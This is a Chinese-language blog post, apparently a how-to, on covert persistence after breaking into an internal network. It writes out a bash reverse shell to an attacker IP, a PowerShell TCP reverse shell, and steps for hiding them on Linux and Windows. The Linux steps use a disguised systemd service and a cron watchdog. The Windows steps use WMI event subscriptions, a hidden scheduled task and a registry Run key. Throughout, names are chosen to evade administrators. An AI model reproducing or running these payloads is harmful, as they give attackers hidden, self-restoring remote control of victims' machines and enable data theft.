内网渗透 持久化以及日志清理 技术手法方案

目录

一、Linux 持久化与恢复方案

1. 后门脚本部署

2. Systemd 服务持久化

3. 定时任务监控与恢复

二、Windows 持久化与恢复方案

1. WMI 事件订阅持久化

【步骤 1】准备 Payload

【步骤 2】创建 WMI 事件过滤器

【步骤 3】创建 WMI 事件消费者

【步骤 4】绑定过滤器与消费者

【验证持久化】

2. 隐藏式计划任务持久化

【步骤 1】准备 Payload

【步骤 2】创建计划任务

【验证任务】

3. 注册表 Run 键持久化

【操作步骤】

三、总体技术思路总结

四、总结



一、Linux 持久化与恢复方案

1. 后门脚本部署

  • 目标:部署一个反向 Shell 脚本,并将其隐藏在系统不易引起怀疑的位置。

  • 操作步骤

    1. 创建隐藏目录与脚本
      建议将脚本放在一个伪装成系统更新或日志相关的目录中:

      mkdir -p /usr/local/lib/.sysupdater
      cat << 'EOF' > /usr/local/lib/.sysupdater/rshell.sh
      #!/bin/bash
      # 反向Shell: 请替换成你的攻击机IP及监听端口
      bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
      EOF
      chmod +x /usr/local/lib/.sysupdater/rshell.sh
      
    2. 注意事项

      • 将目录名和脚本名设计成类似合法系统组件(如 sysupdater、logupdate 等),降低被管理员注意的风险。

2. Systemd 服务持久化

  • 目标:利用 Systemd 服务,在系统启动时自动执行反向 Shell。

  • 操作步骤

    1. 创建伪装的服务文件
      文件名称可以模仿系统日志或系统监控服务,如 systemd-syslogd.service

      cat << 'EOF' > /etc/systemd/system/systemd-syslogd.service
      [Unit]
      Description=System Logging Service
      After=network.target
      
      [Service]
      ExecStart=/usr/local/lib/.sysupdater/rshell.sh
      Restart=always
      RestartSec=30
      
      [Install]
      WantedBy=multi-user.target
      EOF
      
    2. 启用并启动服务
      执行以下命令,确保服务随系统启动并自动重启:

      systemctl daemon-reload
      systemctl enable systemd-syslogd.service
      systemctl start systemd-syslogd.service
      

3. 定时任务监控与恢复

  • 目标:万一服务被终止,利用 Cron 定时检查服务状态并重启,确保持久化效果。
  • 操作步骤
    cat << 'EOF' > /etc/cron.d/sysupdater_watch
    */5 * * * * root systemctl is-active --quiet systemd-syslogd.service || systemctl restart systemd-syslogd.service
    EOF
    
    此任务每 5 分钟检测一次服务状态,若服务未运行,则自动重启。

二、Windows 持久化与恢复方案

在 Windows 环境中,较流行的隐蔽持久化手段包括利用 WMI 事件订阅、隐藏式计划任务以及注册表启动项。下面给出两种详细方案,其中 WMI 事件订阅的隐蔽性较高。

1. WMI 事件订阅持久化

【步骤 1】准备 Payload
  • 目标:编写一个反向连接的 PowerShell 脚本,并存储在目标系统中(例如:C:\Windows\Temp\payload.ps1)。
  • 示例 Payload(请修改其中的 IP 与端口):
    $client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    }
    $client.Close();
    
【步骤 2】创建 WMI 事件过滤器
  • 操作:在命令提示符(管理员权限)下执行:
    wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WinEventFilter", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
    
    该过滤器设置为每 60 秒检测一次系统时间变化,触发条件相对隐蔽。
【步骤 3】创建 WMI 事件消费者
  • 操作
    wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WinCmdConsumer", CommandLineTemplate="powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1", RunInteractively=FALSE
    
【步骤 4】绑定过滤器与消费者
  • 操作
    wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name='WinEventFilter'", Consumer="CommandLineEventConsumer.Name='WinCmdConsumer'"
    
【验证持久化】
  • 查看 WMI 事件订阅是否生效:
    wmic /namespace:\\root\subscription PATH __EventFilter list brief
    wmic /namespace:\\root\subscription PATH CommandLineEventConsumer list brief
    

特点

  • 利用 Windows 内置的 WMI 服务,几乎不会在常规安全监控中引起怀疑。
  • 事件触发条件可以根据需要调整,确保 payload 在系统重启或特定事件下自动恢复。

2. 隐藏式计划任务持久化

【步骤 1】准备 Payload
  • 同上,将 payload 脚本保存为 C:\Windows\Temp\payload.ps1
【步骤 2】创建计划任务
  • 操作:利用 schtasks 创建一个隐蔽的任务:
    schtasks /create /sc minute /mo 5 /tn "System Maintenance" /tr "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1" /F
    
    该任务每 5 分钟执行一次,任务名称“System Maintenance”常见且不易引起怀疑。
【验证任务】
  • 使用以下命令查看任务状态:
    schtasks /query /tn "System Maintenance"
    

3. 注册表 Run 键持久化

【操作步骤】
  • 添加启动项:在目标用户登录时自动触发 payload:

    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdater" /t REG_SZ /d "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1" /f
    
  • 验证

    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdater"
    

注意:虽然这种方法简单,但注册表项的变化可能会被安全产品监控到,建议与其他手段配合使用以增强隐蔽性。


三、总体技术思路总结

  • 隐蔽持久化:目标在于在目标系统中部署一个后门,并通过系统自带的服务管理(Linux:Systemd + Cron;Windows:WMI 事件订阅、计划任务或注册表 Run 键)确保系统重启或后门被终止时能够自动恢复控制。
  • 恢复机制:所有方法均设计为自动检测服务/进程状态,并在发现中断时重新启动后门 payload,从而保证长期控制。
  • 伪装与隐蔽:命令、文件名、任务名称、服务名称均伪装成合法或系统组件,降低被安全工具或管理员发现的风险。
  • 灵活性:提供多种方案以适应不同系统环境,互为补充,确保即使一种方法被防护措施识别或移除,其他方法仍能恢复控制。

四、总结

  • Linux 环境:利用隐藏目录存放反向Shell脚本,通过 Systemd 服务和 Cron 定时监控实现隐蔽持久化。
  • Windows 环境:主要推荐 WMI 事件订阅持久化,辅以计划任务与注册表启动项方法,均可实现隐蔽且自动恢复的远程连接。
  • 总体技术思路:构建一个自动自愈的后门体系,确保在内网渗透后,即使受到一定的检测或中断,也能迅速恢复对目标系统的控制,从而保证后续横向移动、数据窃取或其他渗透测试活动的连续性。

这种分平台、分手段的详细方案能够帮助你在实战中根据目标环境选择最适合的持久化与恢复策略,达到长期隐蔽控制的目的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

浩策

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值